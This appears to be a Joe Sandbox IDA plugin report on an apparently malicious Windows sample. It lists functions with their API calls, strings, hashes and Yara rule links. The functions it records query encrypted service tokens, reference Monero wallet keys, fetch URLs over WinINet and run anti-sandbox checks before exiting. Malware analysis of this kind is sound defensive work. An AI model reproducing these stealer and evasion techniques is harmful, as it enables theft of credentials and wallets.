Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 816dd968557ef9baef6bfb91fc0f286dda5e99bfa86a379e02e895c93805c184
Instruction ID: 40849cff2e006c03551032ca7e9ba11fb489b6d413b4a481c431d3b3fdbd0ae1
Opcode Fuzzy Hash: 816dd968557ef9baef6bfb91fc0f286dda5e99bfa86a379e02e895c93805c184
Instruction Fuzzy Hash: 2BB12471910118DBDB14FBA0ED96EEE733CBF54300F404568F506A7191EF386A99EB62

Function 00F14FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00F14FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00F14FD1
InternetOpenA.WININET(00F30DDF,00000000,00000000,00000000,00000000), ref: 00F14FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00F15011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00F15041
InternetCloseHandle.WININET(?), ref: 00F150B9
InternetCloseHandle.WININET(?), ref: 00F150C6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 0907fff585202592598bc6ba5bd3c9404eb7bfb4c94ed9eb9e6a48c84da2df12
Instruction ID: e1f1fd0ec183241372b1726507d409e2a045b370029e0725079ec5d21ee2f4e3
Opcode Fuzzy Hash: 0907fff585202592598bc6ba5bd3c9404eb7bfb4c94ed9eb9e6a48c84da2df12
Instruction Fuzzy Hash: 5431E7B5A40218EBDB24CF94DC85BDCB7B4EF48704F1081E9E709A7285C7746AC59F98

Function 00F283DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00F28426
wsprintfA.USER32 ref: 00F28459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00F2847B
RegCloseKey.ADVAPI32(00000000), ref: 00F2848C
RegCloseKey.ADVAPI32(00000000), ref: 00F28499

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

RegQueryValueExA.KERNEL32(00000000,0089DE08,00000000,000F003F,?,00000400), ref: 00F284EC
lstrlen.KERNEL32(?), ref: 00F28501
RegQueryValueExA.KERNEL32(00000000,0089DD60,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00F30B34), ref: 00F28599
RegCloseKey.KERNEL32(00000000), ref: 00F28608
RegCloseKey.ADVAPI32(00000000), ref: 00F2861A

Strings

%s\%s, xrefs: 00F2844D

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 80f5985adfd2e74ec29d77b4b95a396ef6d8d318b01ea226cd5557811e063dbf
Instruction ID: c2a48c7ada2c82430f66f1f59b0deb6d68ffbab7cb19214641eebdc568e61d77
Opcode Fuzzy Hash: 80f5985adfd2e74ec29d77b4b95a396ef6d8d318b01ea226cd5557811e063dbf
Instruction Fuzzy Hash: 7B21F8719502289BDB24DB54EC85FE9B7B8FF48710F0081A9A60996140DF756A86CF94

Function 00F27690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F276A4
RtlAllocateHeap.NTDLL(00000000), ref: 00F276AB
RegOpenKeyExA.KERNEL32(80000002,0088BC40,00000000,00020119,00000000), ref: 00F276DD
RegQueryValueExA.KERNEL32(00000000,0089DDF0,00000000,00000000,?,000000FF), ref: 00F276FE
RegCloseKey.ADVAPI32(00000000), ref: 00F27708

Strings

Windows 11, xrefs: 00F276BD

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: ae8fdc8e1afa5e180533e2726ab59559a5df935330c9faaf683edea7569be741
Instruction ID: 02bf568ccb1ab74c1cb64f060e84bbeafe5726f3cb0ebbf736cff54a50fae2c7
Opcode Fuzzy Hash: ae8fdc8e1afa5e180533e2726ab59559a5df935330c9faaf683edea7569be741
Instruction Fuzzy Hash: A1018FB5A84308FFD714EBE0F849F6DBBB8EF08701F004164FA15D7285E67099809B50

Function 00F27720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27734
RtlAllocateHeap.NTDLL(00000000), ref: 00F2773B
RegOpenKeyExA.KERNEL32(80000002,0088BC40,00000000,00020119,00F276B9), ref: 00F2775B
RegQueryValueExA.KERNEL32(00F276B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00F2777A
RegCloseKey.ADVAPI32(00F276B9), ref: 00F27784

Strings

CurrentBuildNumber, xrefs: 00F27771

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 3909db88906edf0f1aecd92f2648ff6006fdfccf938c4aae7409aa904cacadb7
Instruction ID: 05399450432e069ca9947079d722f42cf4427cfedb01e4547cf121f00c0240f3
Opcode Fuzzy Hash: 3909db88906edf0f1aecd92f2648ff6006fdfccf938c4aae7409aa904cacadb7
Instruction Fuzzy Hash: 150184B5A40308FFDB14DBE0EC49FAEBBB8EF08701F004264FA15A7285DB7055408B50

Function 00F240B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00F240D5
RegOpenKeyExA.KERNEL32(80000001,0089D298,00000000,00020119,?), ref: 00F240F4
RegQueryValueExA.ADVAPI32(?,0089DFB8,00000000,00000000,00000000,000000FF), ref: 00F24118
RegCloseKey.ADVAPI32(?), ref: 00F24122
lstrcat.KERNEL32(?,00000000), ref: 00F24147
lstrcat.KERNEL32(?,0089DFD0), ref: 00F2415B

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 96ca90a779553e2f6b9f2a7463e71d31aa58b4c31e765c67da31ca5bb2f1f760
Instruction ID: 5d3a37380d4b3a11edfe58ef4ec24f413e710c14b5ec318e14f497c33791f000
Opcode Fuzzy Hash: 96ca90a779553e2f6b9f2a7463e71d31aa58b4c31e765c67da31ca5bb2f1f760
Instruction Fuzzy Hash: 634179B6940208ABDB28EBA0FC56FED773DBB48300F044558B72557185EA795BCC8B91

Function 00F269F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00890630), ref: 00F298A1
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00890678), ref: 00F298BA
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,008907B0), ref: 00F298D2
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00890618), ref: 00F298EA
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00890720), ref: 00F29903
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00898880), ref: 00F2991B
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00886860), ref: 00F29933
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00886A20), ref: 00F2994C
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00890690), ref: 00F29964
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,008907C8), ref: 00F2997C
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,008907E0), ref: 00F29995
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00890648), ref: 00F299AD
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,00886700), ref: 00F299C5
Part of subcall function 00F29860: GetProcAddress.KERNEL32(75550000,008906A8), ref: 00F299DE

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F111D0: ExitProcess.KERNEL32 ref: 00F11211

Part of subcall function 00F11160: GetSystemInfo.KERNEL32(?), ref: 00F1116A
Part of subcall function 00F11160: ExitProcess.KERNEL32 ref: 00F1117E

Part of subcall function 00F11110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00F1112B
Part of subcall function 00F11110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00F11132
Part of subcall function 00F11110: ExitProcess.KERNEL32 ref: 00F11143

Part of subcall function 00F11220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00F1123E
Part of subcall function 00F11220: __aulldiv.LIBCMT ref: 00F11258
Part of subcall function 00F11220: __aulldiv.LIBCMT ref: 00F11266
Part of subcall function 00F11220: ExitProcess.KERNEL32 ref: 00F11294

Part of subcall function 00F26770: GetUserDefaultLangID.KERNEL32 ref: 00F26774

Part of subcall function 00F11190: ExitProcess.KERNEL32 ref: 00F111C6

Part of subcall function 00F27850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F111B7), ref: 00F27880
Part of subcall function 00F27850: RtlAllocateHeap.NTDLL(00000000), ref: 00F27887
Part of subcall function 00F27850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F2789F

Part of subcall function 00F278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27910
Part of subcall function 00F278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00F27917
Part of subcall function 00F278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00F2792F

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00898870,?,00F3110C,?,00000000,?,00F31110,?,00000000,00F30AEF), ref: 00F26ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F26AE8
CloseHandle.KERNEL32(00000000), ref: 00F26AF9
Sleep.KERNEL32(00001770), ref: 00F26B04
CloseHandle.KERNEL32(?,00000000,?,00898870,?,00F3110C,?,00000000,?,00F31110,?,00000000,00F30AEF), ref: 00F26B1A
ExitProcess.KERNEL32 ref: 00F26B22

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: ff3463e986a8740b49abffd44b24570729ccfa5c19f4b0e8d0d37d5acdd5caae
Instruction ID: 8aef269082632fae161034def566964223780d2ece7dd1cca243c5e68973a9aa
Opcode Fuzzy Hash: ff3463e986a8740b49abffd44b24570729ccfa5c19f4b0e8d0d37d5acdd5caae
Instruction Fuzzy Hash: 8731FF71940228ABDB14F7F0FC56BEE7778BF54340F104528F612A6181DF785985EBA2

Function 00F199C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F199EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F19A11
LocalAlloc.KERNEL32(00000040,?), ref: 00F19A31
ReadFile.KERNEL32(000000FF,?,00000000,00F1148F,00000000), ref: 00F19A5A
LocalFree.KERNEL32(00F1148F), ref: 00F19A90
CloseHandle.KERNEL32(000000FF), ref: 00F19A9A

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
